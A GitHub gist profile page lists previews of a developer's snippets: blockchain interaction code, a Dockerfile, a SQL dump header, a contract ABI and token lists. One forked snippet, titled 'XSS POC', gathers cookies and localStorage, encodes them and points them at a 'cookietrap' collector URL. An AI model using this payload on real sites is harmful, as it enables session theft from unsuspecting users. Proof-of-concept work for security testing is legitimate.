Skip to content

Instantly share code, notes, and snippets.

View developerfred's full-sized avatar
📡
Building

codingsh developerfred

📡
Building
View GitHub Profile
@developerfred
developerfred / HVML.c
Created November 7, 2024 05:59 — forked from VictorTaelin/HVML.c
$10k bounty - make HVML.c 50% faster on Apple M3
// Post: https://x.com/VictorTaelin/status/1854326873590792276
// Note: The atomics must be kept.
// Note: This will segfault on non-Apple devices due to upfront mallocs.#include <stdint.h>
#include <stdint.h>
#include <stdatomic.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
@developerfred
developerfred / intereaction-viem-ad-manager.ts
Created September 26, 2024 01:59
Ad Manager Smart Contract Interaction Guide
// Ad Manager Smart Contract Interaction Guide
// Contract Address: 0x020243968704ccF8202Afd1F1134a90953385877
import { createPublicClient, http, parseAbi } from 'viem'
import { base } from 'viem/chains'
// Initialize the Viem client
const client = createPublicClient({
chain: base,
transport: http(),
@developerfred
developerfred / Dockerfile
Last active July 1, 2023 21:24
programatrava - umbrella on Elixir
# We start from a Elixir base image
FROM elixir:1.12
# Create app directory and copy the Elixir projects into it
RUN mkdir /app
COPY . /app
WORKDIR /app
# Install hex and rebar
RUN mix local.hex --force && \
@developerfred
developerfred / friday.sql
Created May 12, 2023 20:17
Friday SQL Dump
-- MySQL dump 10.13 Distrib 8.0.33, for Linux (x86_64)
--
-- Host: db-mv-gg-quest.czh2afcpkxqi.eu-west-2.rds.amazonaws.com Database: ggquest
-- ------------------------------------------------------
-- Server version 8.0.30
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!50503 SET NAMES utf8mb4 */;
@developerfred
developerfred / PepeWorks.abi
Created April 30, 2023 22:10
Pepe Works on Arbitrum Nova
[
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{

install libs

$ pip install web3

add your metamask pk here

private_key = '<your metamask key'
@developerfred
developerfred / XSS POC
Created November 9, 2022 17:38 — forked from nicovillanueva/XSS POC
JS script for doing XSS POCs
// The collector must decode the base64-encoded parameter 'payload'
// Suggestion: The PHP script could redirect back to the user's referer, such as:
// header("Location: " . $_SERVER['HTTP_REFERER']);
collector="http://192.168.40.6/cookietrap/trap.php?payload=";
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }();
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }();
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls;
enc=btoa(payload);
alert("Yar cookies are: \n" + c);
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
// Used in the `name()` function
// "Yul Token"
bytes32 constant nameLength = 0x0000000000000000000000000000000000000000000000000000000000000009;
bytes32 constant nameData = 0x59756c20546f6b656e0000000000000000000000000000000000000000000000;
// Used in the `symbol()` function
// "YUL"
{
"name": "Mask Network",
"logoURI": "https://raw.githubusercontent.com/DimensionDev/Maskbook-Website/master/img/MB--CircleCanvas--WhiteOverBlue.svg",
"keywords": [
"browser extension",
"web3",
"peer to peer",
"encryption",
"cryptography",
"gundb",